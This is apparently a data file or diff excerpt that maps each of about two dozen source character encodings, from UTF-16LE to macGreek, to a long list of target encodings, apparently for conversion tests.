+UTF-16LE:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+UTF-32BE:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+UTF-32LE:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Windows-1251:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM437:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM737:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM775:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+CP850:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM852:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+CP852:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM855:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+CP855:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM857:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM860:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM861:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM862:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM863:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM865:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM866:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+IBM869:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+macCroatian:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+macCyrillic:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+macGreek:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
